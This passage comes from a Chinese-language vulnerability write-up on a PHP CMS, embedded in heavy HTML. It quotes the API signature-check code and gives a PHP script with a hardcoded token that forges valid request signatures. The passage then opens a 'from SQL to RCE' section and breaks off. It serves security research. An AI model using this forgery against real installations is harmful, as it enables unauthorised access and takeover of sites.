var(--hljs-attribute);">$arrParams</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<br/>            <span style="color: var(--hljs-attribute);">$token</span> = <span style="color: var(--primary-very-high);font-weight: bold;">$this</span>-&gt;account[<span style="color: var(--hljs-string);">&#39;token&#39;</span>],<br/>            <span style="color: var(--hljs-attribute);">$intTimeStamp</span> = <span style="color: var(--hljs-attribute);">$_GET</span>[<span style="color: var(--hljs-string);">&#39;timestamp&#39;</span>],<br/>            <span style="color: var(--hljs-attribute);">$strNonce</span> = <span style="color: var(--hljs-attribute);">$_GET</span>[<span style="color: var(--hljs-string);">&#39;nonce&#39;</span>],<br/>        );<br/>        sort(<span style="color: var(--hljs-attribute);">$arrParams</span>, SORT_STRING);<br/>        <span style="color: var(--hljs-attribute);">$strParam</span> = implode(<span style="color: var(--hljs-attribute);">$arrParams</span>);<br/>        <span style="color: var(--hljs-attribute);">$strSignature</span> = sha1(<span style="color: var(--hljs-attribute);">$strParam</span>);<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--hljs-attribute);">$strSignature</span> == <span style="color: var(--hljs-attribute);">$_GET</span>[<span style="color: var(--hljs-string);">&#39;signature&#39;</span>];<br/>    }</code></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n53" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">可以看到有三个变量需要我们去验证，其生成规则在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">api.php</code><span md-inline="plain" style="box-sizing: border-box;"> 129 行的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">encrypt</code><span md-inline="plain" style="box-sizing: border-box;">函数，如下：</span></span></span><br/></p><pre style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 14px;overflow: visible;color: rgb(34, 34, 34);text-align: start;background-color: rgb(255, 255, 255);"><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><code style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;overflow: auto;tab-size: 4;color: var(--primary-very-high);background: var(--blend-primary-secondary-5);overflow-wrap: normal;display: block;padding: 0.5em;max-height: 500px;"><span style="color: var(--primary-very-high);font-weight: bold;">public</span> <span style="color: var(--primary-very-high);font-weight: bold;">function</span> <span style="color: var(--hljs-string);font-weight: bold;">encrypt</span>() {<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">global</span> <span style="color: var(--hljs-attribute);">$_W</span>;<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--primary-very-high);font-weight: bold;">$this</span>-&gt;account)) {<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">exit</span>(<span style="color: var(--hljs-string);">&#39;Miss Account.&#39;</span>);<br/>        }<br/>        <span style="color: var(--hljs-attribute);">$timestamp</span> = TIMESTAMP;<br/>        <span style="color: var(--hljs-attribute);">$nonce</span> = random(<span style="color: var(--hljs-number);">5</span>);<br/>        <span style="color: var(--hljs-attribute);">$token</span> = <span style="color: var(--hljs-attribute);">$_W</span>[<span style="color: var(--hljs-string);">&#39;account&#39;</span>][<span style="color: var(--hljs-string);">&#39;token&#39;</span>];<br/>        <span style="color: var(--hljs-attribute);">$signkey</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-attribute);">$token</span>, TIMESTAMP, <span style="color: var(--hljs-attribute);">$nonce</span>);<br/>        sort(<span style="color: var(--hljs-attribute);">$signkey</span>, SORT_STRING);<br/>        <span style="color: var(--hljs-attribute);">$signString</span> = implode(<span style="color: var(--hljs-attribute);">$signkey</span>);<br/>        <span style="color: var(--hljs-attribute);">$signString</span> = sha1(<span style="color: var(--hljs-attribute);">$signString</span>);<br/>        <span style="color: var(--hljs-attribute);">$_GET</span>[<span style="color: var(--hljs-string);">&#39;timestamp&#39;</span>] = <span style="color: var(--hljs-attribute);">$timestamp</span>;<br/>        <span style="color: var(--hljs-attribute);">$_GET</span>[<span style="color: var(--hljs-string);">&#39;nonce&#39;</span>] = <span style="color: var(--hljs-attribute);">$nonce</span>;<br/>        <span style="color: var(--hljs-attribute);">$_GET</span>[<span style="color: var(--hljs-string);">&#39;signature&#39;</span>] = <span style="color: var(--hljs-attribute);">$signString</span>;<br/>        <span style="color: var(--hljs-attribute);">$postStr</span> = file_get_contents(<span style="color: var(--hljs-string);">&#39;php://input&#39;</span>);<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$_W</span>[<span style="color: var(--hljs-string);">&#39;account&#39;</span>][<span style="color: var(--hljs-string);">&#39;encodingaeskey&#39;</span>]) &amp;&amp; strlen(<span style="color: var(--hljs-attribute);">$_W</span>[<span style="color: var(--hljs-string);">&#39;account&#39;</span>][<span style="color: var(--hljs-string);">&#39;encodingaeskey&#39;</span>]) == <span style="color: var(--hljs-number);">43</span> &amp;&amp; !<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$_W</span>[<span style="color: var(--hljs-string);">&#39;account&#39;</span>][<span style="color: var(--hljs-string);">&#39;key&#39;</span>]) &amp;&amp; <span style="color: var(--hljs-attribute);">$_W</span>[<span style="color: var(--hljs-string);">&#39;setting&#39;</span>][<span style="color: var(--hljs-string);">&#39;development&#39;</span>] != <span style="color: var(--hljs-number);">1</span>) {<br/>            <span style="color: var(--hljs-attribute);">$data</span> = <span style="color: var(--primary-very-high);font-weight: bold;">$this</span>-&gt;account-&gt;encryptMsg(<span style="color: var(--hljs-attribute);">$postStr</span>);<br/>            <span style="color: var(--hljs-attribute);">$array</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;encrypt_type&#39;</span> =&gt; <span style="color: var(--hljs-string);">&#39;aes&#39;</span>, <span style="color: var(--hljs-string);">&#39;timestamp&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$timestamp</span>, <span style="color: var(--hljs-string);">&#39;nonce&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$nonce</span>, <span style="color: var(--hljs-string);">&#39;signature&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$signString</span>, <span style="color: var(--hljs-string);">&#39;msg_signature&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$data</span>[<span style="color: var(--hljs-number);">0</span>], <span style="color: var(--hljs-string);">&#39;msg&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$data</span>[<span style="color: var(--hljs-number);">1</span>]);<br/>        } <span style="color: var(--primary-very-high);font-weight: bold;">else</span> {<br/>            <span style="color: var(--hljs-attribute);">$data</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;&#39;</span>, <span style="color: var(--hljs-string);">&#39;&#39;</span>);<br/>            <span style="color: var(--hljs-attribute);">$array</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;encrypt_type&#39;</span> =&gt; <span style="color: var(--hljs-string);">&#39;&#39;</span>, <span style="color: var(--hljs-string);">&#39;timestamp&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$timestamp</span>, <span style="color: var(--hljs-string);">&#39;nonce&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$nonce</span>, <span style="color: var(--hljs-string);">&#39;signature&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$signString</span>, <span style="color: var(--hljs-string);">&#39;msg_signature&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$data</span>[<span style="color: var(--hljs-number);">0</span>], <span style="color: var(--hljs-string);">&#39;msg&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$data</span>[<span style="color: var(--hljs-number);">1</span>]);<br/>        }<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">exit</span>(json_encode(<span style="color: var(--hljs-attribute);">$array</span>));<br/>    }<br/></code></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n55" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">其中</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">timestamp</code><span md-inline="plain" style="box-sizing: border-box;">是时间戳、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">nonce</code><span md-inline="plain" style="box-sizing: border-box;">是5 位随机字符串、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">signature</code><span md-inline="plain" style="box-sizing: border-box;">是由 sha1加密后的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">$signString</code><span md-inline="plain" style="box-sizing: border-box;">，而</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">$signString</code><span md-inline="plain" style="box-sizing: border-box;">是由 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">token</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">timestamp</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">nonce</code><span md-inline="plain" style="box-sizing: border-box;">组成。可以看到，是硬编码生成，因此可以通过</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">print_r($_W)</code><span md-inline="plain" style="box-sizing: border-box;">得到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">token</code><span md-inline="plain" style="box-sizing: border-box;">值，如下：</span></span></span></span></span></span></span></span></span></span></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.030195381882771" data-s="300,640" style="" data-type="png" data-w="1126" src="https://wechat2rss.xlab.app/img-proxy/?k=4bdd307f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8CgK6HyGG283ua1AzFTK7ibtI70GG2H6QxiarPGlLxTLkBXba97p2FssflA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n57" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">所以可以利用以下代码生成：</span></p><pre style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 14px;overflow: visible;color: rgb(34, 34, 34);text-align: start;background-color: rgb(255, 255, 255);"><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><code style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;overflow: auto;tab-size: 4;color: var(--primary-very-high);background: var(--blend-primary-secondary-5);overflow-wrap: normal;display: block;padding: 0.5em;max-height: 500px;">&lt;?php<br/><span style="color: var(--hljs-attribute);">$timestamp</span> = time();<br/><span style="color: var(--hljs-attribute);">$nonce</span> = random(<span style="color: var(--hljs-number);">5</span>);<br/><span style="color: var(--hljs-attribute);">$token</span> = <span style="color: var(--hljs-string);">&#34;omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP&#34;</span>;<br/><span style="color: var(--hljs-attribute);">$signkey</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-attribute);">$token</span>, <span style="color: var(--hljs-attribute);">$timestamp</span>, <span style="color: var(--hljs-attribute);">$nonce</span>);<br/>sort(<span style="color: var(--hljs-attribute);">$signkey</span>, SORT_STRING);<br/><span style="color: var(--hljs-attribute);">$signString</span> = implode(<span style="color: var(--hljs-attribute);">$signkey</span>);<br/><span style="color: var(--hljs-attribute);">$signString</span> = sha1(<span style="color: var(--hljs-attribute);">$signString</span>);<br/><span style="color: var(--primary-very-high);font-weight: bold;">echo</span> <span style="color: var(--hljs-attribute);">$timestamp</span> . <span style="color: var(--hljs-string);">&#34; | &#34;</span>.<span style="color: var(--hljs-attribute);">$nonce</span>.<span style="color: var(--hljs-string);">&#34; | &#34;</span>.<span style="color: var(--hljs-attribute);">$signString</span>;<br/><span style="color: var(--primary-very-high);font-weight: bold;">function</span> <span style="color: var(--hljs-string);font-weight: bold;">random</span>(<span style="color: var(--hljs-attribute);">$length</span>) {<br/>        <span style="color: var(--hljs-attribute);">$strs</span> = <span style="color: var(--hljs-string);">&#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmopqrstuvwxyz0123456789&#39;</span>;<br/>        <span style="color: var(--hljs-attribute);">$result</span> = substr(str_shuffle(<span style="color: var(--hljs-attribute);">$strs</span>),mt_rand(<span style="color: var(--hljs-number);">0</span>,strlen(<span style="color: var(--hljs-attribute);">$strs</span>)-(<span style="color: var(--hljs-attribute);">$length</span> + <span style="color: var(--hljs-number);">1</span>)),<span style="color: var(--hljs-attribute);">$length</span>);<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--hljs-attribute);">$result</span>;<br/>    }<br/>?&gt;<br/></code></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n57" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">得到：</span><br/></p><pre spellcheck="false" lang="" cid="n60" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-size: 0.9rem;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;padding: 3px 5px;width: inherit;border-width: 1px;border-style: solid;border-color: rgb(122, 122, 122);-webkit-font-smoothing: initial;line-height: 1.55rem;border-radius: 2px;overflow-wrap: normal;font-family: &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;margin-top: 2rem !important;margin-bottom: 2rem !important;"> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">1622388248 | SATNv | d886b80d868b6fb1038c77f1f26ae5f2891a3b22</span></pre><p cid="n61" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">然后根据</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">官网文档</span><span md-inline="plain" style="box-sizing: border-box;">中的消息格式：</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6344755970924195" data-s="300,640" style="" data-type="png" data-w="1926" src="https://wechat2rss.xlab.app/img-proxy/?k=b7d8f249&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8CgqHEIK1CWEhCZUYVL5ZNcFiaEkNEDKqB2r5yicAK7icMYTCN9WswEhfRpw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n63" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">所以最终的 payload 为：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3969465648854962" data-s="300,640" style="" data-type="png" data-w="2358" src="https://wechat2rss.xlab.app/img-proxy/?k=53faffc0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8Cgl7AVFcajf5iaxX9nlOTI70nvSq173EWMHicNAkKCwpS1nd95mdb6hibjw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n65" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">最终在个人中心可以看到：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7723112128146453" data-s="300,640" style="" data-type="png" data-w="1748" src="https://wechat2rss.xlab.app/img-proxy/?k=934d6465&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8Cgia4pdvib4ia7cgicmNbD5ib1tyncjJxcBN8Rv1ZFX5A58W9ibgEibkaI2tCsw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n67" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">但是这种方式比较鸡肋和费事，一是解密非常难，二是如果直接添加账号也会留下很多痕迹，三是即是登录后，还要拿 shell。</span><br/></p><p cid="n68" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">那么有没有一步到位的方法？</span></p><h2 cid="n69" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x05 从 SQL 到 RCE</span></h2><p cid="n70" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">/app/source/home/page.ctrl.php</code><span md-inline="plain" style="box-sizing: border-box;">文件：</span></span></p><pre style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 14px;overflow: visible;color: rgb(34, 34, 34);text-align: start;background-color: rgb(255, 255, 255);"><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><code style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;overflow: auto;tab-size: 4;color: var(--primary-very-high);background: var(--blend-primary-secondary-5);overflow-wrap: normal;display: block;padding: 0.5em;max-height: 500px;"><span style="color: var(--hljs-attribute);">$do</span> = in_array(<span style="color: var(--hljs-attribute);">$do</span>, <span style="color: var(--hljs-attribute);">$dos</span>) ? <span style="color: var(--hljs-attribute);">$do</span> : <span style="color: var(--hljs-string);">&#39;index&#39;</span>;<br/><span style="color: var(--hljs-attribute);">$id</span> = intval(<span style="color: var(--hljs-attribute);">$_GPC</span>[<span style="color: var(--hljs-string);">&#39;id&#39;</span>]);<br/><span style="color: var(--primary-very-high);font-weight: bold;">if</span>(<span style="color: var(--hljs-attribute);">$do</span> == <span style="color: var(--hljs-string);">&#39;getnum&#39;</span>){<br/>    <span style="color: var(--hljs-attribute);">$goodnum</span> = pdo_get(<span style="color: var(--hljs-string);">&#39;site_page&#39;</span>, <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;id&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$id</span>), <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;goodnum&#39;</span>));<br/>    message(<span style="color: var(--tertiary-high);">error</span>(<span style="color: var(--hljs-string);">&#39;0&#39;</span>, <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;goodnum&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$goodnum</span>[<span style="color: var(--hljs-string);">&#39;goodnum&#39;</span>])), <span style="color: var(--hljs-string);">&#39;&#39;</span>, <span style="color: var(--hljs-string);">&#39;ajax&#39;</span>);<br/>} <span style="color: var(--primary-very-high);font-weight: bold;">elseif</span>(<span style="color: var(--hljs-attribute);">$do</span> == <span style="color: var(--hljs-string);">&#39;addnum&#39;</span>){<br/>    <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">isset</span>(<span style="color: var(--hljs-attribute);">$_GPC</span>[<span style="color: var(--hljs-string);">&#39;__havegood&#39;</span>]) || (!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$_GPC</span>[<span style="color: var(--hljs-string);">&#39;__havegood&#39;</span>]) &amp;&amp; !in_array(<span style="color: var(--hljs-attribute);">$id</span>, <span style="color: var(--hljs-attribute);">$_GPC</span>[<span style="color: var(--hljs-string);">&#39;__havegood&#39;</span>]))) {<br/>        <span style="color: var(--hljs-attribute);">$goodnum</span> = pdo_get(<span style="color: var(--hljs-string);">&#39;site_page&#39;</span>, <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;id&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$id</span>), <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;goodnum&#39;</span>));<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$goodnum</span>)){<br/>            <span style="color: var(--hljs-attribute);">$updatesql</span> = pdo_update(<span style="color: var(--hljs-string);">&#39;site_page&#39;</span>, <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: 